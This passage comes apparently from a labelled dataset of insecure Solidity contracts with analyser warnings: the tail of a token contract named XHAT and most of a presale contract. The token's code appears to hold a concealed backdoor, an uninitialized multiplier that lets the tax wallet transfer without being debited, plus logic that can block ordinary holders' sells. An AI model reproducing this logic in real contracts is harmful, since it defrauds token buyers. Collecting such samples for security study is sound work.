bd02b03): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bd02b03: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ab9188a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ab9188a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1442061): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1442061: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == _uniswapV2Pair &&\n to != address(_uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == _uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == _uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: bd02b03\n\t\t\t\t// reentrancy-benign | ID: ab9188a\n\t\t\t\t// reentrancy-eth | ID: 1442061\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: bd02b03\n\t\t\t\t\t// reentrancy-eth | ID: 1442061\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: ab9188a\n aggrTokenTotal = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (to != _uniswapV2Pair) {\n AggregationInfo storage aggrInfo = aggregationInfo[to];\n\n if (from == _uniswapV2Pair) {\n if (aggrInfo.singleSwap == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: ab9188a\n aggrInfo.singleSwap = _buyCount < _preventSwapBefore\n ? block.number - 1\n : block.number;\n }\n } else {\n AggregationInfo storage aggrMult = aggregationInfo[from];\n\n if (\n aggrInfo.singleSwap == 0 ||\n aggrMult.singleSwap < aggrInfo.singleSwap\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: ab9188a\n aggrInfo.singleSwap = aggrMult.singleSwap;\n }\n }\n } else {\n AggregationInfo storage aggrMult = aggregationInfo[from];\n\n\t\t\t\t// reentrancy-benign | ID: ab9188a\n aggrMult.multiSwap = aggrMult.singleSwap.sub(aggrTokenTotal);\n\n\t\t\t\t// reentrancy-benign | ID: ab9188a\n aggrMult.aggregationCount = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: bd02b03\n\t\t// reentrancy-eth | ID: 1442061\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: a27322a): XHAT.aggrCountExile is never initialized. It is used in XHAT._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for a27322a: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : aggrCountExile.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1442061\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: bd02b03\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 1442061\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 1442061\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: bd02b03\n emit Transfer(from, to, receiptAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapV2Router.WETH();\n\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: bd02b03\n\t\t// reentrancy-events | ID: 5f244be\n\t\t// reentrancy-benign | ID: ab9188a\n\t\t// reentrancy-benign | ID: efb38d7\n\t\t// reentrancy-eth | ID: 1442061\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n receive() external payable {}\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n _taxWallet.transfer(address(this).balance);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: bd02b03\n\t\t// reentrancy-events | ID: 5f244be\n\t\t// reentrancy-eth | ID: 1442061\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3dab4a4): XHAT.openTrading() ignores return value by _uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 3dab4a4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2dcc0e9): XHAT.openTrading() ignores return value by IERC20(_uniswapV2Pair).approve(address(_uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 2dcc0e9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c50b4b3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c50b4b3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(_uniswapV2Router), _tTotal);\n\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: c50b4b3\n _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n\t\t// unused-return | ID: 3dab4a4\n\t\t// reentrancy-eth | ID: c50b4b3\n _uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 2dcc0e9\n\t\t// reentrancy-eth | ID: c50b4b3\n IERC20(_uniswapV2Pair).approve(\n address(_uniswapV2Router),\n type(uint256).max\n );\n\n\t\t// reentrancy-eth | ID: c50b4b3\n tradingOpen = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_813.sol", "secure": 0, "size_bytes": 19954 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ReentrancyGuardUpgradeable.sol\" as ReentrancyGuardUpgradeable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\" as AggregatorV3Interface;\n\ncontract BullPreSale is ReentrancyGuardUpgradeable, Ownable {\n uint256 public presaleId;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 19f2172): BullPreSale.BASE_MULTIPLIER should be immutable \n\t// Recommendation for 19f2172: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public BASE_MULTIPLIER;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 10d29c5): BullPreSale.BASE_AIRDROPRATE should be immutable \n\t// Recommendation for 10d29c5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public BASE_AIRDROPRATE;\n\n struct Presale {\n address saleToken;\n uint256 startTime;\n uint256 endTime;\n uint256 price;\n uint256 tokensToSell;\n uint256 baseDecimals;\n uint256 inSale;\n uint256 vestingStartTime;\n uint256 enableBuyWithEth;\n uint256 enableBuyWithUsdt;\n }\n\n struct Vesting {\n uint256 totalAmount;\n uint256 claimedAmount;\n uint256 claimStart;\n bool aridropClaimed;\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: b8a1123): BullPreSale.USDTInterface should be immutable \n\t// Recommendation for b8a1123: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IERC20 public USDTInterface;\n\n IERC20 public BullInterface;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b03ccf4): BullPreSale.aggregatorInterface should be immutable \n\t// Recommendation for b03ccf4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n AggregatorV3Interface internal aggregatorInterface;\n\n uint256 public ParticipateUsers;\n\n uint256 public TotalBoughted;\n\n mapping(uint256 => bool) public paused;\n\n mapping(uint256 => Presale) public presale;\n\n mapping(address => mapping(uint256 => Vesting)) public userVesting;\n\n mapping(uint256 => uint256) public StageBoughted;\n\n mapping(uint256 => uint256) public StageParticipateUsers;\n\n mapping(address => address) public referral;\n\n mapping(address => bool) public hasClaimedReferral;\n\n event PresaleCreated(\n uint256 indexed _id,\n uint256 _totalTokens,\n uint256 _startTime,\n uint256 _endTime,\n uint256 enableBuyWithEth,\n uint256 enableBuyWithUsdt\n );\n\n event PresaleUpdated(\n bytes32 indexed key,\n uint256 prevValue,\n uint256 newValue,\n uint256 timestamp\n );\n\n event TokensBought(\n address indexed user,\n uint256 indexed id,\n address indexed purchaseToken,\n uint256 tokensBought,\n uint256 amountPaid,\n uint256 timestamp\n );\n\n event TokensClaimed(\n address indexed user,\n uint256 indexed id,\n uint256 amount,\n uint256 timestamp\n );\n\n event PresaleTokenAddressUpdated(\n address indexed prevValue,\n address indexed newValue,\n uint256 timestamp\n );\n\n event PresalePaused(uint256 indexed id, uint256 timestamp);\n\n event PresaleUnpaused(uint256 indexed id, uint256 timestamp);\n\n event ReferralRewarded(\n address indexed referrer,\n address indexed referree,\n uint256 amount\n );\n\n constructor(\n address _oracle,\n address _usdt,\n address _bull,\n uint256 _airdroprate\n ) Ownable(msg.sender) {\n require(_oracle != address(0), \"Zero aggregator address\");\n\n require(_usdt != address(0), \"Zero USDT address\");\n\n require(_bull != address(0), \"Zero Bull address\");\n\n aggregatorInterface = AggregatorV3Interface(_oracle);\n\n USDTInterface = IERC20(_usdt);\n\n BullInterface = IERC20(_bull);\n\n BASE_AIRDROPRATE = _airdroprate;\n\n BASE_MULTIPLIER = (10 ** 18);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 3bec2f6): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 3bec2f6: Avoid relying on 'block.timestamp'.\n function createPresale(\n address saleToken,\n uint256 _startTime,\n uint256 _endTime,\n uint256 _price,\n uint256 _tokensToSell,\n uint256 _baseDecimals,\n uint256 _vestingStartTime,\n uint256 _enableBuyWithEth,\n uint256 _enableBuyWithUsdt\n ) external onlyOwner {\n\t\t// timestamp | ID: 3bec2f6\n require(\n _startTime > block.timestamp && _endTime > _startTime,\n \"Invalid time\"\n );\n\n require(_price > 0, \"Zero price\");\n\n require(_tokensToSell > 0, \"Zero tokens to sell\");\n\n require(_baseDecimals > 0, \"Zero decimals for the token\");\n\n require(\n _vestingStartTime >= _endTime,\n \"Vesting starts before Presale ends\"\n );\n\n presaleId++;\n\n presale[presaleId] = Presale(\n saleToken,\n _startTime,\n _endTime,\n _price,\n _tokensToSell,\n _baseDecimals,\n _tokensToSell,\n _vestingStartTime,\n _enableBuyWithEth,\n _enableBuyWithUsdt\n );\n\n emit PresaleCreated(\n presaleId,\n _tokensToSell,\n _startTime,\n _endTime,\n _enableBuyWithEth,\n _enableBuyWithUsdt\n );\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 13e7f38): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 13e7f38: Avoid relying on 'block.timestamp'.\n function changeSaleTimes(\n uint256 _id,\n uint256 _startTime,\n uint256 _endTime\n ) external checkPresaleId(_id) onlyOwner {\n require(_startTime > 0 || _endTime > 0, \"Invalid parameters\");\n\n if (_startTime > 0) {\n\t\t\t// timestamp | ID: 13e7f38\n require(\n block.timestamp < presale[_id].startTime,\n \"Sale already started\"\n );\n\n\t\t\t// timestamp | ID: 13e7f38\n require(block.timestamp < _startTime, \"Sale time in past\");\n\n uint256 prevValue = presale[_id].startTime;\n\n presale[_id].startTime = _startTime;\n\n emit PresaleUpdated(\n bytes32(\"START\"),\n prevValue,\n _startTime,\n block.timestamp\n );\n }\n\n if (_endTime > 0) {\n\t\t\t// timestamp | ID: 13e7f38\n require(\n block.timestamp < presale[_id].endTime,\n \"Sale already ended\"\n );\n\n require(_endTime > presale[_id].startTime, \"Invalid endTime\");\n\n uint256 prevValue = presale[_id].endTime;\n\n presale[_id].endTime = _endTime;\n\n emit PresaleUpdated(\n bytes32(\"END\"),\n prevValue,\n _endTime,\n block.timestamp\n );\n }\n }\n\n function changeVestingStartTime(\n uint256 _id,\n uint256 _vestingStartTime\n ) external checkPresaleId(_id) onlyOwner {\n require(\n _vestingStartTime >= presale[_id].endTime,\n \"Vesting starts before Presale ends\"\n );\n\n uint256 prevValue = presale[_id].vestingStartTime;\n\n presale[_id].vestingStartTime = _vestingStartTime;\n\n emit PresaleUpdated(\n bytes32(\"VESTING_START_TIME\"),\n prevValue,\n _vestingStartTime,\n block.timestamp\n );\n }\n\n function changeSaleTokenAddress(\n uint256 _id,\n address _newAddress\n ) external checkPresaleId(_id) onlyOwner {\n require(_newAddress != address(0), \"Zero token address\");\n\n address prevValue = presale[_id].saleToken;\n\n presale[_id].saleToken = _newAddress;\n\n emit PresaleTokenAddressUpdated(\n prevValue,\n _newAddress,\n block.timestamp\n );\n }\n\n function changeAirdropToken(address _newAddress) external onlyOwner {\n require(_newAddress != address(0), \"Zero token address\");\n\n BullInterface = IERC20(_newAddress);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: cdedfa8): BullPreSale.changePrice(uint256,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(presale[_id].startTime > block.timestamp,Sale already started)\n\t// Recommendation for cdedfa8: Avoid relying on 'block.timestamp'.\n function changePrice(\n uint256 _id,\n uint256 _newPrice\n ) external checkPresaleId(_id) onlyOwner {\n require(_newPrice > 0, \"Zero price\");\n\n\t\t// timestamp | ID: cdedfa8\n require(\n presale[_id].startTime > block.timestamp,\n \"Sale already started\"\n );\n\n uint256 prevValue = presale[_id].price;\n\n presale[_id].price = _newPrice;\n\n emit PresaleUpdated(\n bytes32(\"PRICE\"),\n prevValue,\n _newPrice,\n block.timestamp\n );\n }\n\n function changeEnableBuyWithEth(\n uint256 _id,\n uint256 _enableToBuyWithEth\n ) external checkPresaleId(_id) onlyOwner {\n uint256 prevValue = presale[_id].enableBuyWithEth;\n\n presale[_id].enableBuyWithEth = _enableToBuyWithEth;\n\n emit PresaleUpdated(\n bytes32(\"ENABLE_BUY_WITH_ETH\"),\n prevValue,\n _enableToBuyWithEth,\n block.timestamp\n );\n }\n\n function changeEnableBuyWithUsdt(\n uint256 _id,\n uint256 _enableToBuyWithUsdt\n ) external checkPresaleId(_id) onlyOwner {\n uint256 prevValue = presale[_id].enableBuyWithUsdt;\n\n presale[_id].enableBuyWithUsdt = _enableToBuyWithUsdt;\n\n emit PresaleUpdated(\n bytes32(\"ENABLE_BUY_WITH_USDT\"),\n prevValue,\n _enableToBuyWithUsdt,\n block.timestamp\n );\n }\n\n function pausePresale(uint256 _id) external checkPresaleId(_id) onlyOwner {\n require(!paused[_id], \"Already paused\");\n\n paused[_id] = true;\n\n emit PresalePaused(_id, block.timestamp);\n }\n\n function unPausePresale(\n uint256 _id\n ) external checkPresaleId(_id) onlyOwner {\n require(paused[_id], \"Not paused\");\n\n paused[_id] = false;\n\n emit PresaleUnpaused(_id, block.timestamp);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fe7f90e): BullPreSale.getLatestPrice() ignores return value by (None,price,None,None,None) = aggregatorInterface.latestRoundData()\n\t// Recommendation for fe7f90e: Ensure that all the return values of the function calls are used.\n function getLatestPrice() public view returns (uint256) {\n\t\t// unused-return | ID: fe7f90e\n (, int256 price, , , ) = aggregatorInterface.latestRoundData();\n\n price = (price * (10 ** 10));\n\n return uint256(price);\n }\n\n modifier checkPresaleId(uint256 _id) {\n require(_id > 0 && _id <= presaleId, \"Invalid presale id\");\n\n _;\n }\n\n modifier checkSaleState(uint256 _id, uint256 amount) {\n require(\n block.timestamp >= presale[_id].startTime &&\n block.timestamp <= presale[_id].endTime,\n \"Invalid time for buying\"\n );\n\n require(\n amount > 0 && amount <= presale[_id].inSale,\n \"Invalid sale amount\"\n );\n\n _;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2a887b2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2a887b2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 493289a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 493289a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 231af36): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 231af36: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 1b64e01): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 1b64e01: Consider ordering multiplication before division.\n function buyWithUSDT(\n uint256 _id,\n uint256 amount,\n address referrer\n ) external checkPresaleId(_id) checkSaleState(_id, amount) returns (bool) {\n require(!paused[_id], \"Presale paused\");\n\n require(\n presale[_id].enableBuyWithUsdt > 0,\n \"Not allowed to buy with USDT\"\n );\n\n Presale memory _presale = presale[_id];\n\n uint256 usdPrice = amount * presale[_id].price;\n\n\t\t// divide-before-multiply | ID: 231af36\n\t\t// divide-before-multiply | ID: 1b64e01\n usdPrice = usdPrice / (10 ** (18 + _presale.baseDecimals - 6));\n\n presale[_id].inSale -= amount;\n\n uint256 ourAllowance = USDTInterface.allowance(\n _msgSender(),\n address(this)\n );\n\n require(usdPrice <= ourAllowance, \"Make sure to add enough allowance\");\n\n\t\t// reentrancy-events | ID: 2a887b2\n\t\t// reentrancy-benign | ID: 493289a\n (bool success, ) = address(USDTInterface).call(\n abi.encodeWithSignature(\n \"transferFrom(address,address,uint256)\",\n _msgSender(),\n owner(),\n usdPrice\n )\n );\n\n require(success, \"Token payment failed\");\n\n if (userVesting[_msgSender()][_id].totalAmount > 0) {\n\t\t\t// reentrancy-benign | ID: 493289a\n userVesting[_msgSender()][_id].totalAmount += amount;\n } else {\n\t\t\t// reentrancy-benign | ID: 493289a\n userVesting[_msgSender()][_id] = Vesting(\n amount,\n 0,\n _presale.vestingStartTime,\n false\n );\n }\n\n if (\n referrer != address(0) &&\n referral[_msgSender()] == address(0) &&\n referrer != _msgSender()\n ) {\n\t\t\t// reentrancy-benign | ID: 493289a\n referral[_msgSender()] = referrer;\n\n uint256 referralReward = (amount * 5) / 1000;\n\n if (referralReward > 0) {\n\t\t\t\t// reentrancy-benign | ID: 493289a\n userVesting[referrer][_id].totalAmount += referralReward;\n\n\t\t\t\t// reentrancy-benign | ID: 493289a\n hasClaimedReferral[_msgSender()] = true;\n\n\t\t\t\t// reentrancy-events | ID: 2a887b2\n emit ReferralRewarded(referrer, _msgSender(), referralReward);\n }\n }\n\n\t\t// reentrancy-benign | ID: 493289a\n ParticipateUsers += 1;\n\n\t\t// reentrancy-benign | ID: 493289a\n\t\t// divide-before-multiply | ID: 231af36\n TotalBoughted += usdPrice * 10 ** 12;\n\n\t\t// reentrancy-benign | ID: 493289a\n\t\t// divide-before-multiply | ID: 1b64e01\n StageBoughted[_id] += usdPrice * 10 ** 12;\n\n\t\t// reentrancy-benign | ID: 493289a\n StageParticipateUsers[_id]++;\n\n\t\t// reentrancy-events | ID: 2a887b2\n emit TokensBought(\n _msgSender(),\n _id,\n address(USDTInterface),\n amount,\n usdPrice,\n block.timestamp\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 382e7f9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 382e7f9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 08a63b2): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 08a63b2: Consider ordering multiplication before division.\n function buyWithEth(\n uint256 _id,\n uint256 amount,\n address referrer\n )\n external\n payable\n checkPresaleId(_id)\n checkSaleState(_id, amount)\n nonReentrant\n returns (bool)\n {\n require(!paused[_id], \"Presale paused\");\n\n require(\n presale[_id].enableBuyWithEth > 0,\n \"Not allowed to buy with ETH\"\n );\n\n\t\t// divide-before-multiply | ID: 08a63b2\n uint256 usdPrice = (amount * presale[_id].price) /\n 10 ** presale[_id].baseDecimals;\n\n\t\t// divide-before-multiply | ID: 08a63b2\n uint256 ethAmount = (usdPrice * BASE_MULTIPLIER) / getLatestPrice();\n\n require(msg.value >= ethAmount, \"Less payment\");\n\n uint256 excess = msg.value - ethAmount;\n\n presale[_id].inSale -= amount;\n\n Presale memory _presale = presale[_id];\n\n\t\t// reentrancy-benign | ID: 382e7f9\n sendValue(payable(owner()), ethAmount);\n\n\t\t// reentrancy-benign | ID: 382e7f9\n if (excess > 0) sendValue(payable(_msgSender()), excess);\n\n if (userVesting[_msgSender()][_id].totalAmount > 0) {\n\t\t\t// reentrancy-benign | ID: 382e7f9\n userVesting[_msgSender()][_id].totalAmount += amount;\n } else {\n\t\t\t// reentrancy-benign | ID: 382e7f9\n userVesting[_msgSender()][_id] = Vesting(\n amount,\n 0,\n _presale.vestingStartTime,\n false\n );\n }\n\n if (\n referrer != address(0) &&\n referral[_msgSender()] == address(0) &&\n referrer != _msgSender()\n ) {\n\t\t\t// reentrancy-benign | ID: 382e7f9\n referral[_msgSender()] = referrer;\n\n uint256 referralReward = (amount * 5) / 1000;\n\n if (referralReward > 0) {\n\t\t\t\t// reentrancy-benign | ID: 382e7f9\n userVesting[referrer][_id].totalAmount += referralReward;\n\n\t\t\t\t// reentrancy-benign | ID: 382e7f9\n hasClaimedReferral[_msgSender()] = true;\n\n emit ReferralRewarded(referrer, _msgSender(), referralReward);\n }\n }\n\n\t\t// reentrancy-benign | ID: 382e7f9\n ParticipateUsers += 1;\n\n\t\t// reentrancy-benign | ID: 382e7f9\n TotalBoughted += usdPrice;\n\n\t\t// reentrancy-benign | ID: 382e7f9\n StageBoughted[_id] += usdPrice;\n\n\t\t// reentrancy-benign | ID: 382e7f9\n StageParticipateUsers[_id]++;\n\n emit TokensBought(\n _msgSender(),\n _id,\n address(0),\n amount,\n ethAmount,\n block.timestamp\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 52162ee): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 52162ee: Consider ordering multiplication before division.\n function ethBuyHelper(\n uint256 _id,\n uint256 amount\n ) external view checkPresaleId(_id) returns (uint256 ethAmount) {\n\t\t// divide-before-multiply | ID: 52162ee\n uint256 usdPrice = (amount * presale[_id].price) /\n 10 ** presale[_id].baseDecimals;\n\n\t\t// divide-before-multiply | ID: 52162ee\n ethAmount = (usdPrice * BASE_MULTIPLIER) / getLatestPrice();\n }\n\n function usdtBuyHelper(\n uint256 _id,\n uint256 amount\n ) external view checkPresaleId(_id) returns (uint256 usdPrice) {\n usdPrice = amount * presale[_id].price;\n\n usdPrice = usdPrice / (10 ** (18 + presale[_id].baseDecimals - 6));\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Low balance\");\n\n\t\t// reentrancy-benign | ID: 382e7f9\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(success, \"ETH Payment failed\");\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: b325ff3): BullPreSale.claimableAmount(address,uint256) uses timestamp for comparisons Dangerous comparisons block.timestamp < _user.claimStart\n\t// Recommendation for b325ff3: Avoid relying on 'block.timestamp'.\n function claimableAmount(\n address user,\n uint256 _id\n ) public view checkPresaleId(_id) returns (uint256) {\n Vesting memory _user = userVesting[user][_id];\n\n uint256 amount = _user.totalAmount - _user.claimedAmount;\n\n if (_user.totalAmount == 0 || amount == 0) {\n return 0;\n }\n\n\t\t// timestamp | ID: b325ff3\n if (block.timestamp < _user.claimStart) return 0;\n\n return amount;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: e009fac): BullPreSale.airdropableAmount(address,uint256) uses timestamp for comparisons Dangerous comparisons block.timestamp < _user.claimStart\n\t// Recommendation for e009fac: Avoid relying on 'block.timestamp'.\n function airdropableAmount(\n address user,\n uint256 _id\n ) public view checkPresaleId(_id) returns (uint256) {\n Vesting memory _user = userVesting[user][_id];\n\n if (_user.totalAmount == 0 || _user.aridropClaimed == true) {\n return 0;\n }\n\n\t\t// timestamp | ID: e009fac\n if (block.timestamp < _user.claimStart) return 0;\n\n uint256 airdropAmount = (_user.totalAmount * BASE_AIRDROPRATE) / 1000;\n\n return airdropAmount;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: cf53d95): BullPreSale.claim(address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(currentTime >= _userVesting.claimStart,Cannot claim yet)\n\t// Recommendation for cf53d95: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e9fbcbe): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e9fbcbe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: af81e7c): BullPreSale.claim(address,uint256) has external calls inside a loop status = IERC20(presale[_id].saleToken).transfer(user,amountToClaim)\n\t// Recommendation for af81e7c: Favor pull over push strategy for external calls.\n function claim(address user, uint256 _id) public returns (bool) {\n Vesting memory _userVesting = userVesting[user][_id];\n\n require(_userVesting.totalAmount > 0, \"Nothing to claim\");\n\n uint256 currentTime = block.timestamp;\n\n\t\t// timestamp | ID: cf53d95\n require(currentTime >= _userVesting.claimStart, \"Cannot claim yet\");\n\n uint256 amountToClaim = claimableAmount(user, _id);\n\n require(amountToClaim > 0, \"Zero claim amount\");\n\n userVesting[user][_id].claimedAmount += amountToClaim;\n\n\t\t// reentrancy-events | ID: e9fbcbe\n\t\t// calls-loop | ID: af81e7c\n bool status = IERC20(presale[_id].saleToken).transfer(\n user,\n amountToClaim\n );\n\n require(status, \"Token transfer failed\");\n\n\t\t// reentrancy-events | ID: e9fbcbe\n emit TokensClaimed(user, _id, amountToClaim, 